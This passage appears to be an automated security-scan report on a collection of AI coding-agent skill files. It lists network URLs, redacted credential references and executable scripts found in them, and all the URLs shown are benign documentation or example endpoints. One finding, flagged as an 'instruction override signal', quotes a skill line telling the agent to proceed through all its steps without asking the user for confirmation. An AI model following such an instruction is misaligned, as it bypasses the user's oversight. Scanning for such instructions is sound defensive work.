    and the appropriate [ACR RBAC/ABAC role](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-rbac-built-in-roles-overview).

harness/claude-code/skills/dotnet-mcp-builder/SKILL.md

  • Network accessline 166
    - [ModelContextProtocol NuGet profile](https://www.nuget.org/profiles/ModelContextProtocol)
  • Network accessline 167
    - [ModelContextProtocol API reference](https://csharp.sdk.modelcontextprotocol.io/api/ModelContextProtocol.html)
  • Network accessline 168
    - [EverythingServer sample](https://github.com/modelcontextprotocol/csharp-sdk/tree/main/samples/EverythingServer)

harness/claude-code/skills/dotnet-mcp-builder/references/client.md

  • Access to secretsline 24
    [Credential-related source omitted]
  • Network accessline 39
    var transport = new HttpClientTransport(new HttpClientTransportOptions {     Endpoint = new Uri("https://my-server.example.com/mcp"),
  • Network accessline 40
    {     Endpoint = new Uri("https://my-server.example.com/mcp"),     TransportMode = HttpTransportMode.StreamableHttp,
  • Network accessline 41
    Endpoint = new Uri("https://my-server.example.com/mcp"),
  • Network accessline 182
    var transport = new HttpClientTransport(new HttpClientTransportOptions {     Endpoint = new Uri("https://my-server.example.com/mcp"),
  • Network accessline 183
    {     Endpoint = new Uri("https://my-server.example.com/mcp"),     KnownSessionId = previousSessionId
  • Network accessline 184
    Endpoint = new Uri("https://my-server.example.com/mcp"),

harness/claude-code/skills/dotnet-mcp-builder/references/elicitation.md

  • Network accessline 7
    > **2026-07-28 changes the rules on HTTP.** The current revision removes HTTP sessions and the server→client `elicitation/create` request, so **`ElicitAsync` cannot be used on 2026-07-28 Streamable HTTP at all** — a server with `Stateless =

harness/claude-code/skills/dotnet-mcp-builder/references/mcp-apps.md

  • Network accessline 3
    [MCP Apps](https://modelcontextprotocol.io/extensions/apps/overview) is the official extension that lets a tool return an **interactive UI** rendered in a sandboxed iframe inside the host (Claude, Claude Desktop, VS Code Copilot, Goose, Pos
  • Network accessline 5
    > **Important:** SDK 2.x ships a dedicated extension package, **`ModelContextProtocol.Extensions.Apps`**, with typed MCP Apps support: register with `.WithMcpApps()` and annotate tools with `[McpAppUi(ResourceUri = "ui://...")]`. It replace
  • Network accessline 15
    The full protocol spec is at [`@modelcontextprotocol/ext-apps`](https://github.com/modelcontextprotocol/ext-apps).
  • Network accessline 95
    ["resourceUri"] = "ui://charts/interactive"                 // Optionally:                 // ["csp"] = new JsonObject { ["default-src"] = "'self' https://cdn.example.com" },
  • Network accessline 96
    // Optionally:                 // ["csp"] = new JsonObject { ["default-src"] = "'self' https://cdn.example.com" },                 // ["permissions"] = new JsonArray("clipboard-write")
  • Network accessline 97
    // ["csp"] = new JsonObject { ["default-src"] = "'self' https://cdn.example.com" },
  • Network accessline 148
    <div id="root">Loading…</div>     <script type="module">       import { App } from "https://esm.sh/@modelcontextprotocol/ext-apps@1";
  • Network accessline 150
    import { App } from "https://esm.sh/@modelcontextprotocol/ext-apps@1";
  • Network accessline 174
    **Tip:** for non-trivial UIs, build with Vite (React/Vue/Svelte/Solid — any of the [official starter templates](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples)) and have the build emit a single inlined HTML you embed as
  • Network accessline 209
    For pure-UI iteration, [MCP Inspector](https://github.com/modelcontextprotocol/inspector) shows resource contents but does not fully render apps; for that, point Claude Desktop at your dev server.

harness/claude-code/skills/dotnet-mcp-builder/references/packages.md

  • Network accessline 5
    All packages live under the [`ModelContextProtocol` NuGet profile](https://www.nuget.org/profiles/ModelContextProtocol). The official C# SDK repo is [`modelcontextprotocol/csharp-sdk`](https://github.com/modelcontextprotocol/csharp-sdk), ma
  • Network accessline 24
    **Upgrading 1.x → 2.0 (highlights, not exhaustive):** stable v1.x APIs keep working; the deprecated capabilities (roots, sampling, logging) are now `[Obsolete]` with `MCP9005` warnings, experimental APIs moved (the 1.4.x Tasks surface → `Mo

harness/claude-code/skills/dotnet-mcp-builder/references/testing.md

  • Network accessline 7
    [MCP Inspector](https://github.com/modelcontextprotocol/inspector) is the go-to tool for trying out a server by hand. It launches your server, connects via STDIO or HTTP, and gives you a UI to list/call tools, view resources, fire elicitati
  • Network accessline 25
    Start the server normally (`dotnet run`), then in Inspector pick "Streamable HTTP" and enter the URL (e.g. `http://localhost:3001`).
  • Network accessline 166
    - **"LLM keeps misusing the tool":** open Inspector and look at the schema/description as the LLM sees it. Most "the model is dumb" issues are actually missing `[Description]`. - **"Sampling/elicitation throws 'method not supported'":** the
  • Network accessline 168
    - **"HTTP returns 404 for /":** check `app.MapMcp()` is called *and* you're hitting the right path. `MapMcp("/mcp")` means the URL is `http://host/mcp`, not `http://host/`.

harness/claude-code/skills/dotnet-mcp-builder/references/transport-http.md

  • Network accessline 44
    app.Run("http://localhost:3001");
  • Network accessline 78
    Match this on the client side (`Endpoint = new Uri("https://host/mcp/v1")`).
  • Network accessline 103
    Inside a tool, you can also inject `IHttpContextAccessor` if `AddHttpContextAccessor()` is registered. See the [`AspNetCoreMcpPerSessionTools` sample](https://github.com/modelcontextprotocol/csharp-sdk/tree/main/samples/AspNetCoreMcpPerSess
  • Network accessline 123
    For OAuth flows where the *MCP server* is the resource server, follow the [MCP authorization spec](https://modelcontextprotocol.io/specification/2025-06-18/basic/authorization). The [`ProtectedMcpServer` sample](https://github.com/modelcont
  • Network accessline 142
    builder.Services.AddCors(o => o.AddDefaultPolicy(p =>     p.WithOrigins("https://my-host.example.com")
  • Network accessline 143
    p.WithOrigins("https://my-host.example.com")

harness/claude-code/skills/dotnet-mcp-builder/references/transport-stdio.md

  • Access to secretsline 90
    [Credential-related source omitted]
  • Access to secretsline 91
    [Credential-related source omitted]
  • Access to secretsline 110
    [Credential-related source omitted]
  • Network accessline 142
    The cleanest workflow is [MCP Inspector](https://github.com/modelcontextprotocol/inspector):

harness/claude-code/skills/dotnet-modernization-assessment/references/assessment-guide.md

  • Network accessline 39
    The [.NET support policy](https://dotnet.microsoft.com/en-us/platform/support/policy/dotnet-core),
  • Network accessline 44
    The [porting overview](https://learn.microsoft.com/en-us/dotnet/core/porting/) still describes an
  • Network accessline 48
    The [Upgrade Assistant overview](https://learn.microsoft.com/en-us/dotnet/core/porting/upgrade-assistant-overview)
  • Network accessline 49
    marks .NET Upgrade Assistant deprecated. Prefer the documented [GitHub Copilot upgrade workflow](https://learn.microsoft.com/en-us/dotnet/core/porting/github-copilot-upgrade/overview) when installed and appropriate, or reviewed manual chang
  • Network accessline 50
    [GitHub Copilot upgrade workflow](https://learn.microsoft.com/en-us/dotnet/core/porting/github-copilot-upgrade/overview)
  • Network accessline 56
    - [App Service custom containers](https://learn.microsoft.com/en-us/azure/app-service/configure-custom-container):
  • Network accessline 57
    documents LTSC-based Windows parents, including ASP.NET Framework 4.8/LTSC 2019 and 4.8.1/LTSC 2022;   explicitly excludes Windows Server 2025 base images. - [Windows container compatibility](https://learn.microsoft.com/en-us/virtualization
  • Network accessline 58
    explicitly excludes Windows Server 2025 base images. - [Windows container compatibility](https://learn.microsoft.com/en-us/virtualization/windowscontainers/deploy-containers/version-compatibility):   host/image build and isolation mode matt
  • Network accessline 59
    - [Windows container compatibility](https://learn.microsoft.com/en-us/virtualization/windowscontainers/deploy-containers/version-compatibility):
  • Network accessline 60
    host/image build and isolation mode matter separately from Azure service support. - [ACA containers](https://learn.microsoft.com/en-us/azure/container-apps/containers):   documents Linux x86-64 (`linux/amd64`) images. Windows images are not
  • Network accessline 61
    - [ACA containers](https://learn.microsoft.com/en-us/azure/container-apps/containers):
  • Network accessline 62
    documents Linux x86-64 (`linux/amd64`) images. Windows images are not an ACA migration target. - [ASP.NET migration](https://learn.microsoft.com/en-us/aspnet/core/migration/fx-to-core/?view=aspnetcore-10.0):   app-model differences and incr
  • Network accessline 63
    - [ASP.NET migration](https://learn.microsoft.com/en-us/aspnet/core/migration/fx-to-core/?view=aspnetcore-10.0):
  • Network accessline 64
    app-model differences and incremental migration need explicit design and tests. - [Unavailable .NET Framework technologies](https://learn.microsoft.com/en-us/dotnet/core/porting/net-framework-tech-unavailable):   details remoting, COM+, Wor
  • Network accessline 65
    - [Unavailable .NET Framework technologies](https://learn.microsoft.com/en-us/dotnet/core/porting/net-framework-tech-unavailable):

harness/claude-code/skills/dotnet-modernization-assessment/scripts/dotnet_common.py

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/dotnet-modernization-assessment/scripts/inventory_dotnet.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/skills/dotnet-modernization-assessment/scripts/test_dotnet_assessment.py

  • Executable scriptline 1
    Executable file
  • Network accessline 50
    "Legacy.vbproj",             '<?xml version="1.0" encoding="utf-16"?>'             '<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">'
  • Network accessline 51
    '<?xml version="1.0" encoding="utf-16"?>'             '<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">'             '<PropertyGroup><TargetFrameworkVersion>v4.7.2</TargetFrameworkVersion></PropertyGroup>'
  • Network accessline 52
    '<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">'

harness/claude-code/skills/dotnet-modernization-assessment/scripts/validate_container_target.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 20
    WINDOWS_BASE_BUILDS = {"17763": "ltsc2019", "20348": "ltsc2022"} SOURCES = {     "appservice-windows": "https://learn.microsoft.com/en-us/azure/app-service/configure-custom-container",
  • Network accessline 21
    SOURCES = {     "appservice-windows": "https://learn.microsoft.com/en-us/azure/app-service/configure-custom-container",     "appservice-linux": "https://learn.microsoft.com/en-us/azure/app-service/configure-custom-container",
  • Network accessline 22
    "appservice-windows": "https://learn.microsoft.com/en-us/azure/app-service/configure-custom-container",
  • Network accessline 23
    "appservice-linux": "https://learn.microsoft.com/en-us/azure/app-service/configure-custom-container",
  • Network accessline 24
    "aca": "https://learn.microsoft.com/en-us/azure/container-apps/containers",

harness/claude-code/skills/dotnet-upgrade/SKILL.md

  • Network accessline 28
    - Prefer incremental upgrades with rollback checkpoints over broad unreviewable rewrites. - Verify Microsoft's support policy and the installed upgrade workflow before selecting tools or targets. - The [Upgrade Assistant overview](https://l
  • Network accessline 29
    - Verify Microsoft's support policy and the installed upgrade workflow before selecting tools or targets. - The [Upgrade Assistant overview](https://learn.microsoft.com/en-us/dotnet/core/porting/upgrade-assistant-overview), verified 2026-09
  • Network accessline 30
    - The [Upgrade Assistant overview](https://learn.microsoft.com/en-us/dotnet/core/porting/upgrade-assistant-overview), verified 2026-09-15, marks .NET Upgrade Assistant deprecated. Prefer the documented [GitHub Copilot upgrade workflow](http
  • Network accessline 31
    - The [.NET support policy](https://dotnet.microsoft.com/en-us/platform/support/policy/dotnet-core), verified 2026-09-15, lists .NET 10 as active LTS. Recheck at execution time; a preview or the highest installed SDK is not automatically th

harness/claude-code/skills/dotnet-windows-appservice/references/windows-appservice.md

  • Network accessline 8
    The [App Service custom-container reference](https://learn.microsoft.com/en-us/azure/app-service/configure-custom-container)
  • Network accessline 25
    Use the [Windows host/image compatibility matrix](https://learn.microsoft.com/en-us/virtualization/windowscontainers/deploy-containers/version-compatibility)
  • Network accessline 26
    for the build/test host and isolation mode. The [Windows custom-container quickstart](https://learn.microsoft.com/en-us/azure/app-service/quickstart-custom-container) uses a Windows container engine and an ASP.NET Framework image. A Linux e
  • Network accessline 27
    [Windows custom-container quickstart](https://learn.microsoft.com/en-us/azure/app-service/quickstart-custom-container)
  • Network accessline 58
    Use the registry's actual permission mode. The [ACR role reference](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-rbac-built-in-roles-overview)
  • Network accessline 59
    [ACR role reference](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-rbac-built-in-roles-overview)

harness/claude-code/skills/draw-io-diagram-generator/SKILL.md

  • Network accessline 460
    - [Draw.io VS Code extension](https://marketplace.visualstudio.com/items?itemName=hediet.vscode-drawio)

harness/claude-code/skills/draw-io-diagram-generator/scripts/.gitignore

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/draw-io-diagram-generator/scripts/add-shape.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/skills/draw-io-diagram-generator/scripts/validate-drawio.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/skills/drawio/scripts/drawio-to-png.mjs

  • Executable scriptline 1
    Executable file
  • Network accessline 311
    const VIEWER_URL = "https://viewer.diagrams.net/js/viewer-static.min.js";

harness/claude-code/skills/drawio/scripts/package.json

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/em-dash/SKILL.md

  • Network accessline 109
    - [Case for the em dash](https://www.hardingproject.com/p/the-case-for-the-em-dash)
  • Network accessline 110
    - [em dash guide](https://www.thebookrefinery.com/writing/guide-hyphens-en-dashes-em-dashes/)
  • Network accessline 111
    - [Explaining the em dash](https://www.reddit.com/r/writers/comments/1lv191m/can_someone_explain_em_dash/)
  • Network accessline 112
    - [em dash wikipedia](https://en.wikipedia.org/wiki/Dash)
  • Network accessline 113
    - [Verbose em dash history](https://www.linkedin.com/pulse/long-mark-brief-history-em-dash-christian-buckley-z1lbc)
  • Network accessline 114
    - [Brief em dash history](https://thaothai.substack.com/p/a-brief-history-of-the-em-dash)
  • Network accessline 115
    - [em dash punctuation](https://www.nytimes.com/2019/08/14/style/em-dash-punctuation.html)
  • Network accessline 116
    - [em dash in retrospective](https://medium.com/the-jabber-journal/an-era-to-its-knee-an-em-dash-retrospective-cb5c3c52e4d2)
  • Network accessline 117
    - [Punctuation](https://www.niu.edu/writing-tutorial/punctuation/index.shtml)
  • Network accessline 118
    - [Punctuation Guide](https://www.thepunctuationguide.com/)

harness/claude-code/skills/entra-agent-user/SKILL.md

  • Network accessline 74
    GET https://graph.microsoft.com/beta/servicePrincipals/{agent-identity-id}
  • Network accessline 90
    Connect-MgGraph -Scopes "Application.Read.All" -TenantId "<tenant>" -UseDeviceCode -NoWelcome Invoke-MgGraphRequest -Method GET `   -Uri "https://graph.microsoft.com/beta/servicePrincipals/<agent-identity-id>" | ConvertTo-Json -Depth 3
  • Network accessline 91
    Invoke-MgGraphRequest -Method GET    -Uri "https://graph.microsoft.com/beta/servicePrincipals/<agent-identity-id>" | ConvertTo-Json -Depth 3
  • Network accessline 92
    -Uri "https://graph.microsoft.com/beta/servicePrincipals/<agent-identity-id>" | ConvertTo-Json -Depth 3
  • Network accessline 104
    POST https://graph.microsoft.com/beta/users/microsoft.graph.agentUser
  • Network accessline 140
    Invoke-MgGraphRequest -Method POST `   -Uri "https://graph.microsoft.com/beta/users/microsoft.graph.agentUser" `
  • Network accessline 141
    -Uri "https://graph.microsoft.com/beta/users/microsoft.graph.agentUser" `
  • Network accessline 158
    PUT https://graph.microsoft.com/beta/users/{agent-user-id}/manager/$ref
  • Network accessline 162
    {   "@odata.id": "https://graph.microsoft.com/beta/users/{manager-user-id}"
  • Network accessline 163
    "@odata.id": "https://graph.microsoft.com/beta/users/{manager-user-id}"
  • Network accessline 170
    $managerBody = '{"@odata.id":"https://graph.microsoft.com/beta/users/<manager-user-id>"}'
  • Network accessline 171
    Invoke-MgGraphRequest -Method PUT    -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>/manager/`$ref"
  • Network accessline 172
    -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>/manager/`$ref" `
  • Network accessline 185
    PATCH https://graph.microsoft.com/beta/users/{agent-user-id}
  • Network accessline 197
    GET https://graph.microsoft.com/beta/subscribedSkus?$select=skuPartNumber,skuId,consumedUnits,prepaidUnits
  • Network accessline 206
    POST https://graph.microsoft.com/beta/users/{agent-user-id}/assignLicense
  • Network accessline 223
    # Set usage location Invoke-MgGraphRequest -Method PATCH `   -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>" `
  • Network accessline 224
    Invoke-MgGraphRequest -Method PATCH    -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>"
  • Network accessline 225
    -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>" `
  • Network accessline 229
    $licenseBody = '{"addLicenses":[{"skuId":"<sku-id>"}],"removeLicenses":[]}' Invoke-MgGraphRequest -Method POST `   -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>/assignLicense" `
  • Network accessline 230
    Invoke-MgGraphRequest -Method POST    -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>/assignLicense"
  • Network accessline 231
    -Uri "https://graph.microsoft.com/beta/users/<agent-user-id>/assignLicense" `
  • Network accessline 305
    - [ ] The parent `identityParentId` was verified as `#microsoft.graph.agentIdentity` with `servicePrincipalType: ServiceIdentity`. - [ ] The request uses `https://graph.microsoft.com/beta/users/microsoft.graph.agentUser` and does not includ
  • Network accessline 306
    - [ ] The request uses `https://graph.microsoft.com/beta/users/microsoft.graph.agentUser` and does not include a password.
  • Network accessline 314
    - [Agent identities](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-identities)
  • Network accessline 315
    - [Agent users](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-users)
  • Network accessline 316
    - [Agent service principals](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-service-principals)
  • Network accessline 317
    - [Create agent identity blueprint](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/create-blueprint)
  • Network accessline 318
    - [Create agent identities](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/create-delete-agent-identities)
  • Network accessline 319
    - [agentUser resource type (Graph API)](https://learn.microsoft.com/en-us/graph/api/resources/agentuser?view=graph-rest-beta)
  • Network accessline 320
    - [Create agentUser (Graph API)](https://learn.microsoft.com/en-us/graph/api/agentuser-post?view=graph-rest-beta)

harness/claude-code/skills/eval-driven-dev/SKILL.md

  • Network accessline 10
    metadata:   compatibility: Python 3.10+   pixie-qa-source: "https://github.com/yiouli/pixie-qa/"
  • Network accessline 11
    compatibility: Python 3.10+   pixie-qa-source: "https://github.com/yiouli/pixie-qa/"   pixie-qa-version: ">=0.8.4,<0.9.0"
  • Network accessline 12
    pixie-qa-source: "https://github.com/yiouli/pixie-qa/"
  • Instruction override signalline 62
    Follow Steps 1–6 straight through without stopping. Do not ask the user for confirmation at intermediate steps — verify each step yourself and continue.
  • Network accessline 265
    - https://github.com/yiouli/pixie-qa/

harness/claude-code/skills/eval-driven-dev/references/runnable-examples/fastapi-web-server.md

  • Network accessline 30
    transport = httpx.ASGITransport(app=app)
  • Network accessline 31
    self._client = httpx.AsyncClient(transport=transport, base_url="http://test")
  • Network accessline 55
    transport = httpx.ASGITransport(app=app_module.app)
  • Network accessline 56
    self._client = httpx.AsyncClient(transport=transport, base_url="http://test")
  • Network accessline 83
    async def setup(self) -> None:         from myapp.main import app         transport = httpx.ASGITransport(app=app)
  • Network accessline 84
    from myapp.main import app         transport = httpx.ASGITransport(app=app)         self._client = httpx.AsyncClient(transport=transport, base_url="http://test")
  • Network accessline 85
    transport = httpx.ASGITransport(app=app)
  • Network accessline 86
    self._client = httpx.AsyncClient(transport=transport, base_url="http://test")
  • Network accessline 110
    async def setup(self) -> None:         # Assumes the server is already running (started via run-with-timeout.sh)         self._client = httpx.AsyncClient(base_url="http://localhost:8000")
  • Network accessline 112
    self._client = httpx.AsyncClient(base_url="http://localhost:8000")

harness/claude-code/skills/eval-driven-dev/references/wrap-api.md

  • Network accessline 133
    async def setup(self) -> None:         self._client = httpx.AsyncClient(base_url="http://localhost:8000")
  • Network accessline 134
    self._client = httpx.AsyncClient(base_url="http://localhost:8000")

harness/claude-code/skills/eval-driven-dev/resources/setup.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/claude-code/skills/eval-driven-dev/resources/verify_step6_completion.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/skills/excalidraw-diagram-generator/SKILL.md

  • Network accessline 27
    - Require a clear description of what should be visualized, including key entities, steps, concepts, relationships, and flow. - If the request has too many elements, propose multiple diagrams before generating a crowded file. - Save output 
  • Network accessline 29
    - Save output as `<descriptive-name>.excalidraw`; users can open it at https://excalidraw.com by drag-and-drop, File → Open, or the Excalidraw VS Code extension.
  • Network accessline 47
    Generate complete JSON with `type: "excalidraw"`, `version: 2`, `source: "https://excalidraw.com"`, an `elements` array, `appState.viewBackgroundColor: "#ffffff"`, `appState.gridSize: 20`, and `files: {}`.
  • Network accessline 51
    "type": "excalidraw",   "version": 2,   "source": "https://excalidraw.com",
  • Network accessline 52
    "version": 2,   "source": "https://excalidraw.com",   "elements": [],
  • Network accessline 53
    "source": "https://excalidraw.com",
  • Network accessline 188
    ### To view 1. Visit https://excalidraw.com
  • Network accessline 189
    1. Visit https://excalidraw.com
  • Network accessline 206
    - [Excalidraw](https://excalidraw.com)

harness/claude-code/skills/excalidraw-diagram-generator/references/excalidraw-schema.md

  • Network accessline 9
    type: "excalidraw";   version: number;           // Always 2   source: string;            // "https://excalidraw.com"
  • Network accessline 10
    version: number;           // Always 2   source: string;            // "https://excalidraw.com"   elements: ExcalidrawElement[];
  • Network accessline 11
    source: string;            // "https://excalidraw.com"
  • Network accessline 306
    "type": "excalidraw",   "version": 2,   "source": "https://excalidraw.com",
  • Network accessline 307
    "version": 2,   "source": "https://excalidraw.com",   "elements": [
  • Network accessline 308
    "source": "https://excalidraw.com",

harness/claude-code/skills/excalidraw-diagram-generator/references/icon-libraries.md

  • Network accessline 20
    1. Visit https://libraries.excalidraw.com/    2. Search for "[AWS Architecture Icons/etc.]" and download the .excalidrawlib file
  • Network accessline 41
    **Step 2: Download Library ** - Visit: https://libraries.excalidraw.com/
  • Network accessline 42
    - Visit: https://libraries.excalidraw.com/ - Search for your desired icon set (e.g., "AWS Architecture Icons") - Click download to get the `.excalidrawlib` file
  • Network accessline 271
    - This workflow works with any valid `.excalidrawlib` file you provide. - Examples of library categories you may find on https://libraries.excalidraw.com/:
  • Network accessline 272
    - Examples of library categories you may find on https://libraries.excalidraw.com/:

harness/claude-code/skills/excalidraw-diagram-generator/scripts/.gitignore

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/excalidraw-diagram-generator/scripts/README.md

  • Network accessline 27
    2. **Download and place library file**:    - Visit: https://libraries.excalidraw.com/
  • Network accessline 28
    - Visit: https://libraries.excalidraw.com/    - Search for "AWS Architecture Icons" and download the `.excalidrawlib` file    - Rename it to match the directory name: `aws-architecture-icons.excalidrawlib`
  • Network accessline 70
    1. Download desired Excalidraw libraries from https://libraries.excalidraw.com/
  • Network accessline 77
    - Examples found on https://libraries.excalidraw.com/ may include cloud/service icon sets.

harness/claude-code/skills/excalidraw-diagram-generator/scripts/add-arrow.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/skills/excalidraw-diagram-generator/scripts/add-icon-to-diagram.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/skills/excalidraw-diagram-generator/scripts/split-excalidraw-library.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/skills/excalidraw-diagram-generator/templates/business-flow-swimlane-template.excalidraw

  • Network accessline 2
    "type": "excalidraw",   "version": 2,   "source": "https://excalidraw.com",
  • Network accessline 3
    "version": 2,   "source": "https://excalidraw.com",   "elements": [
  • Network accessline 4
    "source": "https://excalidraw.com",

harness/claude-code/skills/excalidraw-diagram-generator/templates/class-diagram-template.excalidraw

  • Network accessline 2
    "type": "excalidraw",   "version": 2,   "source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor",
  • Network accessline 3
    "version": 2,   "source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor",   "elements": [
  • Network accessline 4
    "source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor",

harness/claude-code/skills/excalidraw-diagram-generator/templates/data-flow-diagram-template.excalidraw

  • Network accessline 2
    "type": "excalidraw",   "version": 2,   "source": "https://excalidraw.com",
  • Network accessline 3
    "version": 2,   "source": "https://excalidraw.com",   "elements": [
  • Network accessline 4
    "source": "https://excalidraw.com",

harness/claude-code/skills/excalidraw-diagram-generator/templates/er-diagram-template.excalidraw

  • Network accessline 2
    "type": "excalidraw",   "version": 2,   "source": "https://excalidraw.com",
  • Network accessline 3
    "version": 2,   "source": "https://excalidraw.com",   "elements": [
  • Network accessline 4
    "source": "https://excalidraw.com",

harness/claude-code/skills/excalidraw-diagram-generator/templates/flowchart-template.excalidraw

  • Network accessline 2
    "type": "excalidraw",   "version": 2,   "source": "https://excalidraw.com",
  • Network accessline 3
    "version": 2,   "source": "https://excalidraw.com",   "elements": [
  • Network accessline 4
    "source": "https://excalidraw.com",

harness/claude-code/skills/excalidraw-diagram-generator/templates/mindmap-template.excalidraw

  • Network accessline 2
    "type": "excalidraw",   "version": 2,   "source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor",
  • Network accessline 3
    "version": 2,   "source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor",   "elements": [
  • Network accessline 4
    "source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor",

harness/claude-code/skills/excalidraw-diagram-generator/templates/relationship-template.excalidraw

  • Network accessline 2
    "type": "excalidraw",   "version": 2,   "source": "https://excalidraw.com",
  • Network accessline 3
    "version": 2,   "source": "https://excalidraw.com",   "elements": [
  • Network accessline 4
    "source": "https://excalidraw.com",

harness/claude-code/skills/excalidraw-diagram-generator/templates/sequence-diagram-template.excalidraw

  • Network accessline 2
    "type": "excalidraw",   "version": 2,   "source": "https://excalidraw.com",
  • Network accessline 3
    "version": 2,   "source": "https://excalidraw.com",   "elements": [
  • Network accessline 4
    "source": "https://excalidraw.com",

harness/claude-code/skills/eyeball/tools/eyeball.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 171
    [Credential-related source omitted]
  • Access to secretsline 567
    [Credential-related source omitted]
  • Access to secretsline 572
    [Credential-related source omitted]

harness/claude-code/skills/finnish-humanizer/SKILL.md

  • Network accessline 120
    - [Hakku/finnish-humanizer](https://github.com/Hakku/finnish-humanizer)

harness/claude-code/skills/flowstudio-power-automate-build/SKILL.md

  • Network accessline 26
    - A FlowStudio MCP subscription and reachable server are required: https://mcp.flowstudio.app. Also preserve the subscription URL without sentence punctuation: https://mcp.flowstudio.app
  • Network accessline 27
    - Use the MCP endpoint `https://mcp.flowstudio.app/mcp` with a valid JWT in `MCP_TOKEN`; never commit `YOUR_JWT_TOKEN`.
  • Network accessline 36
    3. Resolve connections. Call `list_live_connections(environmentName=ENV)` before asking the user for anything. Keep only `statuses[0].status == "Connected"`, build `conn_map = {connectorName: id}`, and use `search="shared_sharepointonline"`
  • Network accessline 37
    4. Build `connection_references` and `host_templates`. `connectionReferences[connector].connectionName` holds the GUID from `list_live_connections`; each action's `inputs.host.connectionName` or `host.connectionName` uses the map key such a
  • Network accessline 38
    5. Construct the workflow definition with `$schema: "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#"`, `contentVersion: "1.0.0.0"`, `triggers`, `actions`, and optional `definition["
  • Network accessline 146
    - [FlowStudio MCP subscription](https://mcp.flowstudio.app)
  • Network accessline 147
    - [FlowStudio MCP endpoint](https://mcp.flowstudio.app/mcp)
  • Network accessline 148
    - [Logic Apps workflow definition schema](https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#)

harness/claude-code/skills/flowstudio-power-automate-build/references/action-patterns-connectors.md

  • Network accessline 26
    },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 27
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "table": "MyList",
  • Network accessline 28
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 70
    },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 71
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "table": "MyList",
  • Network accessline 72
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 100
    },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 101
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "table": "MyList",
  • Network accessline 102
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 124
    },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 125
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "table": "MyList",
  • Network accessline 126
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 153
    "connectionName": "<connectionName>", "operationId": "CreateFile" },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 154
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "folderPath": "/My Library/Subfolder",
  • Network accessline 155
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 167
    "connectionName": "<connectionName>", "operationId": "GetFileMetadataByPath" },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 168
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "path": "/My Library/Subfolder/@{variables('filename')}"
  • Network accessline 169
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 179
    "connectionName": "<connectionName>", "operationId": "UpdateFile" },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 180
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "id": "@outputs('Get_File_Metadata_By_Path')?['body/{Identifier}']",
  • Network accessline 181
    "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 222
    },     "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",
  • Network accessline 223
    "parameters": {       "dataset": "https://mytenant.sharepoint.com/sites/mysite",       "table": "<list-guid>",
  • Network accessline 224
